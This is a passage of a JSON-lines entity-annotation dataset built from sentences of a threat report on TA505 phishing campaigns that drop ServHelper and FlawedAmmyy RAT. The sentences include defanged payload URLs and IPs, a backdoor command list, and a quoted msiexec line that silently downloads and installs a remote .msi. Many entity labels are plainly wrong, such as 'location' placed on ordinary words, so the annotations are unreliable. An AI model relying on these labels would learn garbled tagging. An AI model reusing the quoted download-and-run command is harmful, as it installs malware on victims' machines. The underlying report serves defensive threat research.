Windows.","entities":[{"id":23913,"label":"location","start_offset":2,"end_offset":8},{"id":23914,"label":"location","start_offset":74,"end_offset":77},{"id":23915,"label":"malware","start_offset":180,"end_offset":184},{"id":23916,"label":"location","start_offset":228,"end_offset":232}],"relations":[],"Comments":[]} {"id":7688,"text":"This NSIS-encapsulated file then installs ServHelper .","entities":[{"id":23917,"label":"malware","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]} {"id":7689,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]} {"id":7690,"text":".LNK shortcut in .ISO file","entities":[],"relations":[],"Comments":[]} -{"id":7691,"text":"In another sample we obtained, we found an Excel attachment with malicious macros embedded in the file.","entities":[{"id":23920,"label":"location","start_offset":11,"end_offset":17}],"relations":[],"Comments":[]} {"id":7692,"text":"The macros directly download the file created using NSIS installer from hxxp:\/\/45[.]67[.]229[.]36\/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.","entities":[{"id":23922,"label":"malware","start_offset":52,"end_offset":56},{"id":23923,"label":"location","start_offset":115,"end_offset":119},{"id":23924,"label":"location","start_offset":148,"end_offset":151},{"id":23925,"label":"malware","start_offset":176,"end_offset":186}],"relations":[],"Comments":[]} {"id":7693,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]} -{"id":7694,"text":"Email sample with an attached Excel file.","entities":[{"id":23927,"label":"location","start_offset":6,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7695,"text":"In another sample, the group made several updates with the versions of ServHelper, one of which included the strings’ binary encrypted in Vigenère cipher.","entities":[{"id":23929,"label":"location","start_offset":11,"end_offset":17},{"id":23930,"label":"location","start_offset":29,"end_offset":33},{"id":23932,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} {"id":7696,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} {"id":7697,"text":"Encrypted string We observed that some of the samples still had errors in the cipher routine.","entities":[],"relations":[],"Comments":[]} {"id":7698,"text":"In another routine that was supposed to result in a stack overflow, it also displayed an error message.","entities":[],"relations":[],"Comments":[]} -{"id":7699,"text":"We suspect the developer of this particular sample copied and pasted a stack overflow code.","entities":[{"id":23934,"label":"location","start_offset":44,"end_offset":50},{"id":23935,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]} {"id":7700,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]} {"id":7701,"text":"Vigenère cipher in ServHelper and the Delphi code in stack overflow","entities":[{"id":23937,"label":"malware","start_offset":19,"end_offset":29},{"id":23938,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} -{"id":7702,"text":"Another updated version included encrypted contents of the C&C communication via HTTP (previous versions had C&C request and response information in plain text).","entities":[{"id":23940,"label":"location","start_offset":121,"end_offset":124},{"id":23941,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]} {"id":7703,"text":"The encrypted sample — via XOR encoding\/URL encoding — also received a response from the C&C encrypted with XOR.","entities":[{"id":23942,"label":"location","start_offset":14,"end_offset":20},{"id":23943,"label":"attack-pattern","start_offset":40,"end_offset":52}],"relations":[],"Comments":[]} -{"id":7704,"text":"The XOR key is embedded in the binary; in this case, the key was “lol”.","entities":[{"id":23944,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]} {"id":7705,"text":" Figure 7. XOR Encrypted C&C communication","entities":[],"relations":[],"Comments":[]} -{"id":7706,"text":"We also found two new backdoor commands, runmem and runmemxor, that can run additional .DLL commands in memory.","entities":[{"id":23947,"label":"location","start_offset":48,"end_offset":51},{"id":23948,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":7707,"text":"shell: Execute command runmem: Download .DLL in memory and run runmemxor: Download XOR encrypted .DLL and decrypt and run zakr: Register autorun slp: Set sleep time load:","entities":[{"id":23949,"label":"location","start_offset":0,"end_offset":5},{"id":23950,"label":"location","start_offset":55,"end_offset":58},{"id":23951,"label":"location","start_offset":102,"end_offset":105},{"id":23952,"label":"location","start_offset":114,"end_offset":117},{"id":23953,"label":"location","start_offset":128,"end_offset":136},{"id":23954,"label":"location","start_offset":160,"end_offset":164},{"id":23955,"label":"location","start_offset":165,"end_offset":169}],"relations":[],"Comments":[]} -{"id":7708,"text":"Download executable file and run loaddll: Download .DLL and run selfkill: Uninstall itself","entities":[{"id":23956,"label":"location","start_offset":25,"end_offset":28},{"id":23957,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} {"id":7709,"text":" The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.","entities":[{"id":23958,"label":"malware","start_offset":52,"end_offset":62},{"id":23959,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]} {"id":7710,"text":"In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline. Figure 8. TA505 spoofing an airline company as a malicious file attachment.","entities":[{"id":23960,"label":"location","start_offset":5,"end_offset":13},{"id":23964,"label":"threat-actor","start_offset":195,"end_offset":200}],"relations":[],"Comments":[]} {"id":7711,"text":"In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.","entities":[],"relations":[],"Comments":[]} @@ -4795,47 +5545,29 @@ {"id":7715,"text":" Figure 11. .LNK embedded in the .ISO file","entities":[],"relations":[],"Comments":[]} {"id":7716,"text":"Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.","entities":[{"id":23972,"label":"location","start_offset":32,"end_offset":35},{"id":23973,"label":"malware","start_offset":98,"end_offset":109}],"relations":[],"Comments":[]} {"id":7717,"text":"This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp:\/\/92[.]38[.]135[.]67\/2.dat or hxxp:\/\/27[.]102[.]70[.]196\/1.dat that automatically decrypts and executes the malware.","entities":[{"id":23974,"label":"tools","start_offset":42,"end_offset":53},{"id":23975,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} -{"id":7718,"text":"This was also previously documented by an ESET security researcher.","entities":[{"id":23976,"label":"location","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]} -{"id":7719,"text":"On the samples that used a URL in the email content, we also noticed that the type of document file that it downloaded depended on the URL that the user opened.","entities":[{"id":23977,"label":"location","start_offset":44,"end_offset":51},{"id":23978,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]} {"id":7720,"text":"Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp:\/\/92[.]38[.]135[.]67 or hxxp:\/\/27[.]102[.]70[.]196, with filenames k1 or k2.","entities":[{"id":23979,"label":"location","start_offset":22,"end_offset":26},{"id":23980,"label":"location","start_offset":45,"end_offset":48},{"id":23981,"label":"location","start_offset":62,"end_offset":66},{"id":23982,"label":"tools","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]} -{"id":7721,"text":"In a campaign that targeted Romanian banks, emails used the subject “Fw: copie COC L5H3” and came with an .ISO image attachment. Figure 12.","entities":[{"id":23983,"label":"location","start_offset":5,"end_offset":13},{"id":23985,"label":"location","start_offset":37,"end_offset":42},{"id":23986,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} {"id":7722,"text":"Infection chains for ServHelper installation with .NET downloader","entities":[{"id":23988,"label":"malware","start_offset":21,"end_offset":31}],"relations":[],"Comments":[]} -{"id":7723,"text":"Further analysis revealed a .NET downloader embedded in the image, along with routines that were almost similar to those used in the campaign observed targeting Turkish banks.","entities":[{"id":23989,"label":"location","start_offset":67,"end_offset":72},{"id":23990,"label":"location","start_offset":133,"end_offset":141},{"id":23992,"label":"location","start_offset":169,"end_offset":174}],"relations":[],"Comments":[]} {"id":7724,"text":"The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.","entities":[{"id":23993,"label":"malware","start_offset":67,"end_offset":71},{"id":23994,"label":"malware","start_offset":96,"end_offset":106}],"relations":[],"Comments":[]} {"id":7725,"text":"Figure 13.","entities":[],"relations":[],"Comments":[]} {"id":7726,"text":"The decompiled .NET downloader","entities":[],"relations":[],"Comments":[]} {"id":7727,"text":"In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp:\/\/109[.]234[.]37[.]15:80\/j1 or hxxp:\/\/169[.]239[.]128[.]170\/j1.","entities":[{"id":23997,"label":"malware","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]} -{"id":7728,"text":"Both URLs contain the same binaries as the ones that the jm1 file installs.","entities":[{"id":23998,"label":"location","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]} {"id":7729,"text":"More typical TA505 campaigns, with old and new targets","entities":[{"id":23999,"label":"threat-actor","start_offset":13,"end_offset":18},{"id":24000,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]} -{"id":7730,"text":"The group's more typical payload and routine involves the use of ServHelper and FlawedAmmy RAT and attaching a document embedded with malicious commands and strings.","entities":[{"id":24001,"label":"location","start_offset":33,"end_offset":36},{"id":24003,"label":"location","start_offset":76,"end_offset":79},{"id":24005,"label":"location","start_offset":95,"end_offset":98},{"id":24006,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]} -{"id":7731,"text":"One variant targets Serbian banks with subjects pertaining to “payments” or “invoices” applicable in several European languages.","entities":[{"id":24009,"label":"location","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]} {"id":7732,"text":"Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126.","entities":[{"id":24012,"label":"malware","start_offset":69,"end_offset":73},{"id":24013,"label":"tools","start_offset":89,"end_offset":99},{"id":24014,"label":"IPV4","start_offset":105,"end_offset":125},{"id":24015,"label":"IPV4","start_offset":129,"end_offset":150}],"relations":[],"Comments":[]} -{"id":7733,"text":"We found another routine from a campaign targeting government agencies in Saudi Arabia, Oman, and Qatar with another type of .XLS or .DOC attachment.","entities":[{"id":24016,"label":"location","start_offset":32,"end_offset":40},{"id":24019,"label":"location","start_offset":94,"end_offset":97},{"id":24021,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]} {"id":7734,"text":"The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies.","entities":[],"relations":[],"Comments":[]} -{"id":7735,"text":"A similar campaign targeting Turkish educational and government institutions used email subjects pertaining to invoice information or personnel payroll, and Visual Basic for Applications (VBA) .XLS or VBA .DOC macros.","entities":[{"id":24022,"label":"location","start_offset":10,"end_offset":18},{"id":24024,"label":"location","start_offset":49,"end_offset":52},{"id":24025,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]} {"id":7736,"text":"Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp:\/\/195[.]123[.]245[.]185\/r1 or hxxp:\/\/185[.]225[.]17[.]5\/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp:\/\/185[.]225[.]17[.]5\/2.dat or hxxp:\/\/195[.]123[.]245[.]185\/1.dat.","entities":[{"id":24027,"label":"location","start_offset":48,"end_offset":53},{"id":24028,"label":"malware","start_offset":78,"end_offset":89},{"id":24029,"label":"location","start_offset":188,"end_offset":191},{"id":24030,"label":"malware","start_offset":201,"end_offset":212}],"relations":[],"Comments":[]} {"id":7737,"text":"Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp:\/\/195.123.245.185\/km or hxxp:\/\/185.225.17.5\/km, which executes the NSIS installer for ServHelper installation.","entities":[{"id":24031,"label":"malware","start_offset":132,"end_offset":136},{"id":24032,"label":"tools","start_offset":151,"end_offset":161}],"relations":[],"Comments":[]} -{"id":7738,"text":"Similar to one of the routines depicted in Figure 9, the group also reused one of the email samples but changed the targets to India and the United States, and added content referring to invoices.","entities":[{"id":24033,"label":"location","start_offset":11,"end_offset":14},{"id":24035,"label":"location","start_offset":75,"end_offset":78},{"id":24037,"label":"location","start_offset":133,"end_offset":136},{"id":24039,"label":"location","start_offset":156,"end_offset":159},{"id":24040,"label":"location","start_offset":166,"end_offset":173}],"relations":[],"Comments":[]} -{"id":7739,"text":"The email may contain different documents, but the URLs for downloading ServHelper as the payload remain the same.","entities":[{"id":24041,"label":"location","start_offset":10,"end_offset":13},{"id":24043,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]} {"id":7740,"text":"Figure 14.","entities":[],"relations":[],"Comments":[]} {"id":7741,"text":"One of the more typical techniques employed by TA505. .DLL downloaders that deliver FlawedAmmyy and newly styled macros","entities":[{"id":24047,"label":"tools","start_offset":84,"end_offset":95},{"id":24048,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":7742,"text":"In the first week of August, we noticed the group using a different approach and style to fetch the downloaders via macros.","entities":[{"id":24050,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]} {"id":7743,"text":"While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant.","entities":[{"id":24051,"label":"malware","start_offset":6,"end_offset":17}],"relations":[],"Comments":[]} -{"id":7744,"text":"This particular campaign targeted Canada with subjects asking for confirmation of numbers from the marketing department.","entities":[{"id":24052,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} {"id":7745,"text":"Figure 15.","entities":[],"relations":[],"Comments":[]} {"id":7746,"text":"Infection chain with .DLL FlawedAmmyy downloader","entities":[{"id":24055,"label":"malware","start_offset":26,"end_offset":37}],"relations":[],"Comments":[]} {"id":7747,"text":"The attached document asks the user to enable the macros, which creates an Internet Explorer object instance.","entities":[],"relations":[],"Comments":[]} -{"id":7748,"text":"This loads a text file from a hardcoded website, wherein the content of the document file is parsed through and the inner text of the document is loaded.","entities":[{"id":24056,"label":"location","start_offset":61,"end_offset":68},{"id":24057,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":7749,"text":"Our analysis showed that this is likely done so the malicious file can bypass some firewall rules, since the communication uses Internet Explorer.","entities":[{"id":24058,"label":"location","start_offset":33,"end_offset":39},{"id":24059,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]} {"id":7750,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]} -{"id":7751,"text":"Sample document with malicious macros.","entities":[{"id":24061,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} {"id":7752,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]} {"id":7753,"text":"Text file using Internet Explorer for communication to bypass firewall rules.","entities":[],"relations":[],"Comments":[]} {"id":7754,"text":"The downloaded file is a text file with a single number on each line.","entities":[],"relations":[],"Comments":[]} {"id":7755,"text":"The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106.","entities":[],"relations":[],"Comments":[]} -{"id":7756,"text":"The result is an executable file written to the disc and executed.","entities":[{"id":24064,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} {"id":7757,"text":" Figure 18.","entities":[],"relations":[],"Comments":[]} -{"id":7758,"text":"Executable file written to disk and executed The executed .DLL is packed using two layers: a custom packer for the first stage and UPX (Ultimate Packer for Executables) for the second stage.","entities":[{"id":24066,"label":"location","start_offset":32,"end_offset":35},{"id":24069,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} {"id":7759,"text":"The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL.","entities":[{"id":24072,"label":"location","start_offset":63,"end_offset":67},{"id":24073,"label":"malware","start_offset":81,"end_offset":92}],"relations":[],"Comments":[]} {"id":7760,"text":"As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.","entities":[{"id":24074,"label":"malware","start_offset":70,"end_offset":81},{"id":24075,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} {"id":7761,"text":"The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself.","entities":[{"id":24077,"label":"malware","start_offset":129,"end_offset":140}],"relations":[],"Comments":[]} @@ -4844,347 +5576,124 @@ {"id":7764,"text":"Send HTTP request using socket API","entities":[],"relations":[],"Comments":[]} {"id":7765,"text":"The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\\temp\\ (it used to be saved as wsus.exe).","entities":[{"id":24083,"label":"malware","start_offset":33,"end_offset":44}],"relations":[],"Comments":[]} {"id":7766,"text":"Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values.","entities":[{"id":24084,"label":"malware","start_offset":17,"end_offset":28}],"relations":[],"Comments":[]} -{"id":7767,"text":"Specifically, it overwrites the checksum, the address of relocation table in DOS header, and the checksum in optional headers.","entities":[{"id":24085,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} {"id":7768,"text":" Figure 20.","entities":[],"relations":[],"Comments":[]} {"id":7769,"text":"Original PE header members (left) vs. overwritten header members (right)","entities":[],"relations":[],"Comments":[]} {"id":7770,"text":"The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns.","entities":[{"id":24087,"label":"malware","start_offset":14,"end_offset":25},{"id":24088,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]} {"id":7771,"text":"While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin.","entities":[{"id":24090,"label":"attack-pattern","start_offset":72,"end_offset":78},{"id":24092,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]} -{"id":7772,"text":"This may bypass detection rules if the systems’ lists were not updated.","entities":[{"id":24093,"label":"location","start_offset":5,"end_offset":8}],"relations":[],"Comments":[]} {"id":7773,"text":" Figure 21.","entities":[],"relations":[],"Comments":[]} {"id":7774,"text":"Significant changes in the binary","entities":[],"relations":[],"Comments":[]} -{"id":7775,"text":"In another sample targeting South Korea, the difference with the previous case is the XOR encryption hardcoded at 180.","entities":[{"id":24095,"label":"location","start_offset":11,"end_offset":17},{"id":24097,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} {"id":7776,"text":"We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.","entities":[{"id":24099,"label":"location","start_offset":75,"end_offset":79},{"id":24100,"label":"malware","start_offset":85,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7777,"text":"From the document embedded with the malicious macros, the macro code calls “Run” on the WScript.Shell object.","entities":[{"id":24101,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":7778,"text":"Most of the strings forming the final command are stored in the “Tag” properties of a form embedded in the document.","entities":[{"id":24102,"label":"location","start_offset":0,"end_offset":4},{"id":24103,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]} -{"id":7779,"text":" Figure 22. Sample document in Korean asking the user to enable the macros.","entities":[{"id":24105,"label":"location","start_offset":12,"end_offset":18}],"relations":[],"Comments":[]} {"id":7780,"text":" Figure 23.","entities":[],"relations":[],"Comments":[]} {"id":7781,"text":"Final command strings in document’s “tag” properties.","entities":[],"relations":[],"Comments":[]} {"id":7782,"text":"The final command executes the download and installation of the .MSI file into C:\\Windows\\System32\\msiexec.exe\" back=13 error=continue \/i http:\/\/92[.]38[.]135[.]99\/99.msi \/q OnLoad=\"c:\\windows\\notepad.exe Figure 24.","entities":[{"id":24108,"label":"location","start_offset":40,"end_offset":43},{"id":24109,"label":"URL","start_offset":138,"end_offset":170}],"relations":[],"Comments":[]} {"id":7783,"text":".MSI file installed in the system","entities":[],"relations":[],"Comments":[]} -{"id":7784,"text":"From the parameters above, “\/i” means install, “\/q” means quiet.","entities":[{"id":24111,"label":"location","start_offset":32,"end_offset":37},{"id":24112,"label":"location","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]} {"id":7785,"text":"The other three parameters do not appear to be used at all, as reported in the install log (by adding \/L*V \"C:\\example.log\" parameter).","entities":[],"relations":[],"Comments":[]} {"id":7786,"text":"The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.","entities":[{"id":24114,"label":"malware","start_offset":44,"end_offset":55},{"id":24115,"label":"location","start_offset":121,"end_offset":124},{"id":24116,"label":"malware","start_offset":134,"end_offset":145}],"relations":[],"Comments":[]} {"id":7787,"text":"Figure 25.","entities":[],"relations":[],"Comments":[]} {"id":7788,"text":"Unused parameters from","entities":[],"relations":[],"Comments":[]} {"id":7789,"text":"log","entities":[],"relations":[],"Comments":[]} -{"id":7790,"text":"Around the second week of August, we found a campaign targeting banks in the Czech Republic with subjects pertaining to credit and NAV transfer.","entities":[{"id":24119,"label":"location","start_offset":45,"end_offset":53},{"id":24120,"label":"location","start_offset":64,"end_offset":69},{"id":24122,"label":"location","start_offset":127,"end_offset":130},{"id":24123,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]} -{"id":7791,"text":"Analysis of the samples revealed that the document and macro style was similar to the Korean campaign that used.MSI files, but this campaign downloads from hxxp:\/\/185[.]17[.]122[.]220\/555.msi or hxxp:\/\/159[.]69[.]54[.]146\/555.msi.","entities":[{"id":24124,"label":"location","start_offset":51,"end_offset":54},{"id":24126,"label":"location","start_offset":93,"end_offset":101},{"id":24127,"label":"location","start_offset":132,"end_offset":140}],"relations":[],"Comments":[]} {"id":7792,"text":"This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.","entities":[{"id":24128,"label":"malware","start_offset":28,"end_offset":32},{"id":24130,"label":"location","start_offset":52,"end_offset":55},{"id":24131,"label":"location","start_offset":78,"end_offset":82},{"id":24132,"label":"location","start_offset":101,"end_offset":109},{"id":24136,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]} {"id":7793,"text":"Suspicious activity using ServHelper A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications.","entities":[{"id":24138,"label":"malware","start_offset":26,"end_offset":36},{"id":24139,"label":"location","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]} {"id":7794,"text":"Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp:\/\/www.fedexdocs[.]top\/fedex.doc or hxxp:\/\/www.fedexdocs[.]icu\/fedex.doc.","entities":[{"id":24142,"label":"location","start_offset":61,"end_offset":68},{"id":24143,"label":"threat-actor","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} {"id":7795,"text":"The VBA macro in the document downloads an NSIS-packed executable from hxxps:\/\/senddocs[.]icu\/stelar.exe, which installs ServHelper.","entities":[{"id":24144,"label":"malware","start_offset":43,"end_offset":47},{"id":24145,"label":"tools","start_offset":121,"end_offset":131}],"relations":[],"Comments":[]} {"id":7796,"text":"However, while initial analysis of the macro it used made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux.","entities":[{"id":24146,"label":"location","start_offset":53,"end_offset":57},{"id":24148,"label":"location","start_offset":119,"end_offset":122},{"id":24149,"label":"location","start_offset":189,"end_offset":193},{"id":24150,"label":"malware","start_offset":213,"end_offset":217},{"id":24151,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]} -{"id":7797,"text":"This particular campaign did not match TA505’s technique.","entities":[{"id":24152,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} -{"id":7798,"text":"Thus we suspect that other cybercriminals purchased or borrowed ServHelper from the underground market for this campaign.","entities":[{"id":24155,"label":"location","start_offset":96,"end_offset":102},{"id":24156,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]} {"id":7799,"text":"Conclusion","entities":[],"relations":[],"Comments":[]} -{"id":7800,"text":"A number of ServHelper samples can be found in the wild, but some do not appear to be attributed to TA505.","entities":[{"id":24158,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]} -{"id":7801,"text":"One such sample (reported by a researcher that used the Twitter handle James_inthe_box), delivered Remcos, seemingly with a TA505 pattern.","entities":[{"id":24161,"label":"location","start_offset":9,"end_offset":15}],"relations":[],"Comments":[]} -{"id":7802,"text":"However, we think it may be more likely that ServHelper is sold to other malicious actors and tested on possible targets.","entities":[{"id":24165,"label":"location","start_offset":21,"end_offset":24},{"id":24166,"label":"location","start_offset":33,"end_offset":39},{"id":24168,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} -{"id":7803,"text":"In the long run, as more changes are added to the malware, this can make attribution to specific groups more difficult.","entities":[{"id":24169,"label":"location","start_offset":7,"end_offset":11},{"id":24170,"label":"location","start_offset":33,"end_offset":36},{"id":24171,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} -{"id":7804,"text":"The changes and adjustments that TA505 made from the original ServHelper and FlawedAmmyy routines may indicate that the group is experimenting and testing to determine which forms of obfuscation can bypass detections, resulting in more financial returns.","entities":[{"id":24172,"label":"location","start_offset":12,"end_offset":15},{"id":24174,"label":"location","start_offset":39,"end_offset":43},{"id":24176,"label":"location","start_offset":73,"end_offset":76},{"id":24178,"label":"location","start_offset":98,"end_offset":101},{"id":24179,"label":"location","start_offset":143,"end_offset":146},{"id":24180,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]} -{"id":7805,"text":"It's also possible that the changes in target countries and industries are driven by the group’s customers; targeting new victims and even returning to previously targeted countries and organizations with new techniques.","entities":[{"id":24181,"label":"location","start_offset":39,"end_offset":45},{"id":24182,"label":"location","start_offset":56,"end_offset":59},{"id":24183,"label":"location","start_offset":71,"end_offset":74},{"id":24184,"label":"location","start_offset":130,"end_offset":133},{"id":24185,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]} -{"id":7806,"text":"This also gives TA505 more data on which types of files can be further used for detection evasion, or even to deter attribution.","entities":[{"id":24187,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":7807,"text":"Given the frequency of changes in routines and deployment from our previous articles, we can expect TA505 to come up with more methods for payload delivery, malware types, and combinations of previously used and new routines.","entities":[{"id":24188,"label":"location","start_offset":0,"end_offset":5},{"id":24189,"label":"location","start_offset":43,"end_offset":46},{"id":24190,"label":"location","start_offset":89,"end_offset":92},{"id":24192,"label":"location","start_offset":172,"end_offset":175},{"id":24193,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]} -{"id":7808,"text":"Further, as the malware is still being upgraded, more iterations can be expected in the future.","entities":[{"id":24194,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":7809,"text":"If not removed completely, malicious actors can still take control of computers, peripherals, sensitive information, and proprietary data.","entities":[{"id":24195,"label":"location","start_offset":44,"end_offset":47},{"id":24196,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":7810,"text":"As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.","entities":[{"id":24197,"label":"location","start_offset":20,"end_offset":26},{"id":24198,"label":"location","start_offset":63,"end_offset":66},{"id":24200,"label":"attack-pattern","start_offset":94,"end_offset":102},{"id":24201,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7811,"text":"Enterprises are advised to strengthen their online systems, especially email gateways.","entities":[{"id":24202,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]} -{"id":7812,"text":"Enforce the principle of least privilege, as well as a patch management and system update procedure to make sure the entire network is protected.","entities":[{"id":24203,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} -{"id":7813,"text":"Install redundant and multilayered protection systems from the gateway to the endpoint that can detect and block malicious URLS, emails, and attachments, as well as proactively monitor other possible attack vectors.","entities":[{"id":24204,"label":"location","start_offset":18,"end_offset":21},{"id":24205,"label":"location","start_offset":35,"end_offset":45},{"id":24206,"label":"location","start_offset":63,"end_offset":70},{"id":24207,"label":"location","start_offset":92,"end_offset":95},{"id":24208,"label":"location","start_offset":103,"end_offset":106},{"id":24209,"label":"location","start_offset":137,"end_offset":140},{"id":24210,"label":"location","start_offset":177,"end_offset":184}],"relations":[],"Comments":[]} -{"id":7814,"text":"Enterprises can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.","entities":[{"id":24211,"label":"location","start_offset":12,"end_offset":15},{"id":24214,"label":"location","start_offset":83,"end_offset":93},{"id":24215,"label":"location","start_offset":101,"end_offset":104},{"id":24216,"label":"location","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]} -{"id":7815,"text":"Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":24217,"label":"location","start_offset":15,"end_offset":18},{"id":24218,"label":"location","start_offset":33,"end_offset":36},{"id":24219,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} -{"id":7816,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":24221,"label":"location","start_offset":63,"end_offset":66},{"id":24222,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} {"id":7817,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the 